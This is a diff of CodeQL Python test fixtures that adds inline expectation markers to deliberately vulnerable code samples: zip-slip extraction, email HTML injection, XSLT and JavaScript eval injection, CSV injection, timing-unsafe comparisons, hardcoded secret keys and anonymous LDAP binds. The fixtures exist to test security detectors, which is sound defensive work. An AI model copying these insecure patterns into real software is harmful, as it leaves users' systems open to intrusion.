experimental/Security/CWE-022/ZipSlip.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/zipslip_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/zipslip_bad.py index c622ead874cb..4e7195cf856d 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/zipslip_bad.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/zipslip_bad.py @@ -5,35 +5,35 @@ import zipfile def unzip(filename): - with tarfile.open(filename) as zipf: + with tarfile.open(filename) as zipf: # $ Alert[py/zipslip] #BAD : This could write any file on the filesystem. for entry in zipf: - shutil.move(entry, "/tmp/unpack/") + shutil.move(entry, "/tmp/unpack/") # $ Sink[py/zipslip] def unzip1(filename): - with gzip.open(filename) as zipf: + with gzip.open(filename) as zipf: # $ Alert[py/zipslip] #BAD : This could write any file on the filesystem. for entry in zipf: - shutil.copy2(entry, "/tmp/unpack/") + shutil.copy2(entry, "/tmp/unpack/") # $ Sink[py/zipslip] def unzip2(filename): - with bz2.open(filename) as zipf: + with bz2.open(filename) as zipf: # $ Alert[py/zipslip] #BAD : This could write any file on the filesystem. for entry in zipf: - shutil.copyfile(entry, "/tmp/unpack/") + shutil.copyfile(entry, "/tmp/unpack/") # $ Sink[py/zipslip] def unzip3(filename): zf = zipfile.ZipFile(filename) - with zf.namelist() as filelist: + with zf.namelist() as filelist: # $ Alert[py/zipslip] #BAD : This could write any file on the filesystem. for x in filelist: - shutil.copy(x, "/tmp/unpack/") + shutil.copy(x, "/tmp/unpack/") # $ Sink[py/zipslip] def unzip4(filename): zf = zipfile.ZipFile(filename) - filelist = zf.namelist() + filelist = zf.namelist() # $ Alert[py/zipslip] for x in filelist: with zf.open(x) as srcf: - shutil.copyfileobj(x, "/tmp/unpack/") + shutil.copyfileobj(x, "/tmp/unpack/") # $ Sink[py/zipslip] import tty # to set the import root so we can identify the standard library diff --git a/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.qlref b/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.qlref index dc5c7028f329..96e8c4e0d443 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.qlref @@ -1 +1 @@ -experimental/Security/CWE-074/remoteCommandExecution/RemoteCommandExecution.ql \ No newline at end of file +query: experimental/Security/CWE-074/remoteCommandExecution/RemoteCommandExecution.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/EmailXss.qlref b/python/ql/test/experimental/query-tests/Security/CWE-079/EmailXss.qlref index fcc132dd66c5..c141aa6746b3 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/EmailXss.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/EmailXss.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-079/EmailXss.ql +query: experimental/Security/CWE-079/EmailXss.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/django_mail.py b/python/ql/test/experimental/query-tests/Security/CWE-079/django_mail.py index 178e8decc798..fb42c22f02ed 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/django_mail.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/django_mail.py @@ -11,7 +11,7 @@ def django_response(request): https://github.com/django/django/blob/ca9872905559026af82000e46cde6f7dedc897b6/django/core/mail/__init__.py#L64 """ send_mail("Subject", "plain-text body", "from@example.com", - ["to@example.com"], html_message=django.http.request.GET.get("html")) + ["to@example.com"], html_message=django.http.request.GET.get("html")) # $ Alert def django_response(request): @@ -20,6 +20,6 @@ def django_response(request): https://github.com/django/django/blob/ca9872905559026af82000e46cde6f7dedc897b6/django/core/mail/__init__.py#L90-L121 """ mail_admins("Subject", "plain-text body", - html_message=django.http.request.GET.get("html")) + html_message=django.http.request.GET.get("html")) # $ Alert mail_managers("Subject", "plain-text body", - html_message=django.http.request.GET.get("html")) + html_message=django.http.request.GET.get("html")) # $ Alert diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/flask_mail.py b/python/ql/test/experimental/query-tests/Security/CWE-079/flask_mail.py index e8bdcc93634c..6978ad741f6a 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/flask_mail.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/flask_mail.py @@ -1,4 +1,4 @@ -from flask import request, Flask +from flask import request, Flask # $ Source from flask_mail import Mail, Message app = Flask(__name__) @@ -10,12 +10,12 @@ def send(): sender="from@example.com", recipients=["to@example.com"], body="plain-text body", - html=request.args["html"]) + html=request.args["html"]) # $ Alert # The message can contain a body and/or HTML: msg.body = "plain-text body" # The email's HTML can be set via msg.html or as an initialize argument when creating a Message object. - msg.html = request.args["html"] + msg.html = request.args["html"] # $ Alert mail.send(msg) @@ -28,5 +28,5 @@ def connect(): msg = Message(subject="Subject", sender="from@example.com", recipients=["to@example.com"], - html=request.args["html"]) + html=request.args["html"]) # $ Alert conn.send(msg) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_mail.py b/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_mail.py index e10e8a030a81..4d89056f3fed 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_mail.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_mail.py @@ -1,4 +1,4 @@ -from flask import request, Flask +from flask import request, Flask # $ Source from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import Mail, Email, To, Content, MimeType, HtmlContent @@ -11,7 +11,7 @@ def send(): from_email='from_email@example.com', to_emails='to@example.com', subject='Sending with Twilio SendGrid is Fun', - html_content=request.args["html_content"]) + html_content=request.args["html_content"]) # $ Alert sg = SendGridAPIClient('SENDGRID_API_KEY') sg.send(message) @@ -23,7 +23,7 @@ def send(): from_email='from_email@example.com', to_emails='to@example.com', subject='Sending with Twilio SendGrid is Fun', - html_content=HtmlContent(request.args["html_content"])) + html_content=HtmlContent(request.args["html_content"])) # $ Alert sg = SendGridAPIClient('SENDGRID_API_KEY') sg.send(message) @@ -34,7 +34,7 @@ def send_post(): from_email = Email("test@example.com") to_email = To("test@example.com") subject = "Sending with SendGrid is Fun" - html_content = Content("text/html", request.args["html_content"]) + html_content = Content("text/html", request.args["html_content"]) # $ Alert plain_content = Content("text/plain", request.args["plain_content"]) mail = Mail(from_email, to_email, subject, plain_content, html_content) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_via_mail_send_post_request_body_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_via_mail_send_post_request_body_bad.py index fca641057da6..30a67213b487 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_via_mail_send_post_request_body_bad.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/sendgrid_via_mail_send_post_request_body_bad.py @@ -1,6 +1,6 @@ import sendgrid import os -from flask import request, Flask +from flask import request, Flask # $ Source app = Flask(__name__) @@ -13,7 +13,7 @@ def send(): "content": [ { "type": "text/html", - "value": "{}".format(request.args["html_content"]) + "value": "{}".format(request.args["html_content"]) # $ Alert } ], "from": { @@ -24,7 +24,7 @@ def send(): "mail_settings": { "footer": { "enable": True, - "html": "{}".format(request.args["html_footer"]), + "html": "{}".format(request.args["html_footer"]), # $ Alert "text": "Thanks,/n The SendGrid Team" }, }, @@ -38,7 +38,7 @@ def send(): "tracking_settings": { "subscription_tracking": { "enable": True, - "html": "{}".format(request.args["html_tracking"]), + "html": "{}".format(request.args["html_tracking"]), # $ Alert "substitution_tag": "<%click here%>", "text": "If you would like to unsubscribe and stop receiving these emails <% click here %>." } diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_subparts.py b/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_subparts.py index 209bd889393f..20c8e3466aef 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_subparts.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_subparts.py @@ -1,5 +1,5 @@ # This test checks that the developer doesn't pass a MIMEText instance to a MIMEMultipart initializer via the subparts parameter. -from flask import Flask, request +from flask import Flask, request # $ Source import json import smtplib import ssl @@ -21,7 +21,7 @@ def email_person(): # Turn these into plain/html MIMEText objects part1 = MIMEText(text, "plain") - part2 = MIMEText(html, "html") + part2 = MIMEText(html, "html") # $ Alert message = MIMEMultipart(_subparts=(part1, part2)) message["Subject"] = "multipart test" diff --git a/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_via_attach.py b/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_via_attach.py index 48a228b0bc6e..d50ab028087f 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_via_attach.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-079/smtplib_bad_via_attach.py @@ -1,5 +1,5 @@ # This test checks that the developer doesn't pass a MIMEText instance to a MIMEMultipart message. -from flask import Flask, request +from flask import Flask, request # $ Source import json import smtplib, ssl from email.mime.text import MIMEText @@ -24,7 +24,7 @@ def email_person(): # Turn these into plain/html MIMEText objects part1 = MIMEText(text, "plain") - part2 = MIMEText(html, "html") + part2 = MIMEText(html, "html") # $ Alert # Add HTML/plain-text parts to MIMEMultipart message # The email client will try to render the last part first diff --git a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.qlref b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.qlref index 4d432d461cab..5bde608133c6 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-091/XsltInjection.ql +query: experimental/Security/CWE-091/XsltInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xslt.py b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xslt.py index 1655916c7e06..6464d35811bb 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xslt.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xslt.py @@ -1,6 +1,6 @@ from lxml import etree from io import StringIO -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @@ -11,4 +11,4 @@ def bad(): xslt_root = etree.XML(xsltQuery) f = StringIO('') tree = etree.parse(f) - result_tree = tree.xslt(xslt_root) # Not OK + result_tree = tree.xslt(xslt_root) # Not OK # $ Alert diff --git a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xsltInjection.py b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xsltInjection.py index ddab954bbff8..9f8a25f2e616 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xsltInjection.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/xsltInjection.py @@ -1,6 +1,6 @@ from lxml import etree from io import StringIO -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @@ -9,7 +9,7 @@ def a(): xsltQuery = request.args.get('xml', '') xslt_root = etree.XML(xsltQuery) - transform = etree.XSLT(xslt_root) # Not OK + transform = etree.XSLT(xslt_root) # Not OK # $ Alert @app.route("/xslt2") @@ -18,7 +18,7 @@ def b(): xslt_root = etree.XML(xsltQuery) f = StringIO('') tree = etree.parse(f) - result_tree = tree.xslt(xslt_root) # Not OK + result_tree = tree.xslt(xslt_root) # Not OK # $ Alert @app.route("/xslt3") @@ -28,7 +28,7 @@ def c(): f = StringIO('') tree = etree.parse(f) - result = tree.xslt(xslt_root, a="'A'") # Not OK + result = tree.xslt(xslt_root, a="'A'") # Not OK # $ Alert @app.route("/xslt4") def d(): @@ -37,7 +37,7 @@ def d(): f = StringIO('') tree = etree.parse(f) - result = tree.xslt(xslt_root, a="'A'") # Not OK + result = tree.xslt(xslt_root, a="'A'") # Not OK # $ Alert @app.route("/xslt5") def e(): @@ -47,7 +47,7 @@ def e(): f = StringIO('') tree = etree.parse(f) - result = tree.xslt(xslt_root, a="'A'") # Not OK + result = tree.xslt(xslt_root, a="'A'") # Not OK # $ Alert @app.route("/xslt6") diff --git a/python/ql/test/experimental/query-tests/Security/CWE-094/Js2Py.qlref b/python/ql/test/experimental/query-tests/Security/CWE-094/Js2Py.qlref index 457bfe2aacca..b88e9d7f392b 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-094/Js2Py.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-094/Js2Py.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-094/Js2Py.ql +query: experimental/Security/CWE-094/Js2Py.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-094/Js2PyTest.py b/python/ql/test/experimental/query-tests/Security/CWE-094/Js2PyTest.py index f7aae16a9eed..d62cabef965c 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-094/Js2PyTest.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-094/Js2PyTest.py @@ -6,5 +6,5 @@ @bp.route("/bad") def bad(): - jk = flask.request.form["jk"] - jk = eval_js(f"{jk} f()") \ No newline at end of file + jk = flask.request.form["jk"] # $ Source + jk = eval_js(f"{jk} f()") # $ Alert \ No newline at end of file diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1236/CsvInjection.qlref b/python/ql/test/experimental/query-tests/Security/CWE-1236/CsvInjection.qlref index d9cd7e9ca51c..6fe779d1b362 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1236/CsvInjection.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-1236/CsvInjection.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-1236/CsvInjection.ql \ No newline at end of file +query: experimental/Security/CWE-1236/CsvInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1236/csv_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-1236/csv_bad.py index 6e204d1f3c54..91ce60b928b0 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1236/csv_bad.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-1236/csv_bad.py @@ -6,7 +6,7 @@ import copy import csv from flask import Flask -from flask import request +from flask import request # $ Source from typing import List app = Flask(__name__) @@ -15,14 +15,14 @@ def bad1(): csv_data = request.args.get('csv') csvWriter = csv.writer(open("test.csv", "wt")) - csvWriter.writerow(csv_data) # bad - csvWriter.writerows(csv_data) # bad + csvWriter.writerow(csv_data) # bad # $ Alert + csvWriter.writerows(csv_data) # bad # $ Alert return "bad1" @app.route('/bad2') def bad2(): csv_data = request.args.get('csv') - csvWriter = csv.DictWriter(f, fieldnames=csv_data) # bad + csvWriter = csv.DictWriter(f, fieldnames=csv_data) # bad # $ Alert csvWriter.writeheader() return "bad2" diff --git a/python/ql/test/experimental/query-tests/Security/CWE-176/UnicodeBypassValidation.qlref b/python/ql/test/experimental/query-tests/Security/CWE-176/UnicodeBypassValidation.qlref index ee372b368404..710cbf1f46a5 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-176/UnicodeBypassValidation.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-176/UnicodeBypassValidation.qlref @@ -1 +1 @@ -experimental/Security/CWE-176/UnicodeBypassValidation.ql +query: experimental/Security/CWE-176/UnicodeBypassValidation.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.qlref b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.qlref index 73a8e6960ef8..5ac00932072c 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.ql +query: experimental/Security/CWE-208/TimingAttackAgainstHash/PossibleTimingAttackAgainstHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.py b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.py index 1d312f028eba..c5084b78e802 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.py @@ -23,18 +23,18 @@ def UnsafeCheckSignature(expected): message = b'To be signed' key = RSA.import_key(open('private_key.der').read()) h = SHA256.new(message) - signature = pkcs1_15.new(key).sign(h) - return expected == signature + signature = pkcs1_15.new(key).sign(h) # $ Source[py/possible-timing-attack-against-hash] + return expected == signature # $ Alert[py/possible-timing-attack-against-hash] def sign(pre_key, msg, alg): - return hmac.new(pre_key, msg, alg).digest() + return hmac.new(pre_key, msg, alg).digest() # $ Source[py/possible-timing-attack-against-hash] def verifyGood(msg, sig): return constant_time_string_compare(sig, sign(key, msg, hashlib.sha256)) #good def verifyBad(msg, sig): key = "e179017a-62b0-4996-8a38-e91aa9f1" - return sig == sign(key, msg, hashlib.sha256) #bad + return sig == sign(key, msg, hashlib.sha256) #bad # $ Alert[py/possible-timing-attack-against-hash] def constant_time_string_compare(a, b): if len(a) != len(b): diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.qlref b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.qlref index 50c9d84b1f96..2829d76e85d2 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.ql +query: experimental/Security/CWE-208/TimingAttackAgainstHash/TimingAttackAgainstHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeader.py b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeader.py index 211c36274d74..591764ed4f89 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeader.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeader.py @@ -11,7 +11,7 @@ @app.route('/bad') def bad(): - if not request.headers.get('X-Auth-Token') == "token": + if not request.headers.get('X-Auth-Token') == "token": # $ Alert raise Exception('bad token') return 'bad' diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.qlref b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.qlref index 9da35da9d6d2..0d31d85dc3f2 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.ql +query: experimental/Security/CWE-208/TimingAttackAgainstHeaderValue/TimingAttackAgainstHeaderValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.qlref b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.qlref index acfe13f6aad2..bd9d8272f981 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.ql +query: experimental/Security/CWE-208/TimingAttackAgainstSensitiveInfo/PossibleTimingAttackAgainstSensitiveInfo.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/TimingAttackAgainstSensitiveInfo.py b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/TimingAttackAgainstSensitiveInfo.py index a34b3b7c5ae5..4619821174ea 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/TimingAttackAgainstSensitiveInfo.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-208/TimingAttackAgainstSensitiveInfo/TimingAttackAgainstSensitiveInfo.py @@ -12,8 +12,8 @@ @app.route('/bad', methods = ['POST', 'GET']) def bad(): if request.method == 'POST': - password = request.form['pwd'] - return password == "1234" + password = request.form['pwd'] # $ Source + return password == "1234" # $ Alert @app.route('/good', methods = ['POST', 'GET']) def good(): diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/ConstantSecretKey.qlref b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/ConstantSecretKey.qlref index e77b304f62c4..535dfacbac40 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/ConstantSecretKey.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/ConstantSecretKey.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-287-ConstantSecretKey/WebAppConstantSecretKey.ql +query: experimental/Security/CWE-287-ConstantSecretKey/WebAppConstantSecretKey.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_safe.py b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_safe.py index 442a23e2c3a1..3fcb38acbf93 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_safe.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_safe.py @@ -2,7 +2,7 @@ from flask_session import Session app = Flask(__name__) -app.config['SECRET_KEY'] = 'CHANGEME' +app.config['SECRET_KEY'] = 'CHANGEME' # $ Alert Session(app) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_unsafe.py b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_unsafe.py index 5aeeb6f7003b..c108dfd45611 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_unsafe.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/app_unsafe.py @@ -1,11 +1,11 @@ from flask import Flask, session app = Flask(__name__) -aConstant = 'CHANGEME1' -app.config['SECRET_KEY'] = aConstant -app.secret_key = aConstant -app.config.update(SECRET_KEY=aConstant) -app.config.from_mapping(SECRET_KEY=aConstant) +aConstant = 'CHANGEME1' # $ Source +app.config['SECRET_KEY'] = aConstant # $ Alert +app.secret_key = aConstant # $ Alert +app.config.update(SECRET_KEY=aConstant) # $ Alert +app.config.from_mapping(SECRET_KEY=aConstant) # $ Alert app.config.from_pyfile("config.py") app.config.from_object('config.Config') diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config.py b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config.py index 1a512c0d9f08..12dacb516e62 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config.py @@ -4,16 +4,16 @@ import random FLASK_DEBUG = True -aConstant = 'CHANGEME2' +aConstant = 'CHANGEME2' # $ Source class Config: SECRET_KEY = environ.get("envKey") - SECRET_KEY = aConstant + SECRET_KEY = aConstant # $ Alert SECRET_KEY = os.getenv('envKey') SECRET_KEY = os.environ.get('envKey') SECRET_KEY = os.environ.get('envKey', random.randint) SECRET_KEY = os.getenv('envKey', random.randint) - SECRET_KEY = os.getenv('envKey', aConstant) - SECRET_KEY = os.environ.get('envKey', aConstant) + SECRET_KEY = os.getenv('envKey', aConstant) # $ Alert + SECRET_KEY = os.environ.get('envKey', aConstant) # $ Alert SECRET_KEY = os.environ['envKey'] diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config2.py b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config2.py index dc3508783e22..96b08fead125 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config2.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287-ConstantSecretKey/config2.py @@ -2,4 +2,4 @@ # General Config FLASK_DEBUG = True -SECRET_KEY = "CHANGEME5" +SECRET_KEY = "CHANGEME5" # $ Alert diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287/ImproperLdapAuth.qlref b/python/ql/test/experimental/query-tests/Security/CWE-287/ImproperLdapAuth.qlref index 9f5c6e4c43f4..edd5c17e2b18 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287/ImproperLdapAuth.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-287/ImproperLdapAuth.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-287/ImproperLdapAuth.ql +query: experimental/Security/CWE-287/ImproperLdapAuth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_2.py b/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_2.py index d37cc09cfd06..ef274090f91a 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_2.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_2.py @@ -16,7 +16,7 @@ def simple_bind_example(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.simple_bind('cn=root') + ldap_connection.simple_bind('cn=root') # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) @@ -30,7 +30,7 @@ def simple_bind_s_example(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.simple_bind_s('cn=root') + ldap_connection.simple_bind_s('cn=root') # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) @@ -44,7 +44,7 @@ def bind_s_example(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.bind_s('cn=root', None) + ldap_connection.bind_s('cn=root', None) # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) @app.route("/bind_s_example") @@ -57,7 +57,7 @@ def bind_s_example_kwargs(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.bind_s(who='cn=root', cred=None) + ldap_connection.bind_s(who='cn=root', cred=None) # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) @app.route("/bind_example") @@ -70,7 +70,7 @@ def bind_example(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.bind('cn=root', "") + ldap_connection.bind('cn=root', "") # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) @@ -84,7 +84,7 @@ def bind_example(): search_filter = "(user={})".format(ldap.filter.escape_filter_chars(request.args['search'])) ldap_connection = ldap.initialize("ldap://127.0.0.1:1337") - ldap_connection.bind(who='cn=root', cred="") + ldap_connection.bind(who='cn=root', cred="") # $ Alert user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_3.py b/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_3.py index 2500b4cadb6b..3b99754ec401 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_3.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-287/auth_bad_3.py @@ -16,7 +16,7 @@ def passwordNone(): search_filter = "(user={})".format(escape_filter_chars(request.args['search'])) srv = Server('servername', get_info=ALL) - conn = Connection(srv, 'user_dn', None) + conn = Connection(srv, 'user_dn', None) # $ Alert status, result, response, _ = conn.search(dn, search_filter) @@ -30,7 +30,7 @@ def passwordNoneKwargs(): search_filter = 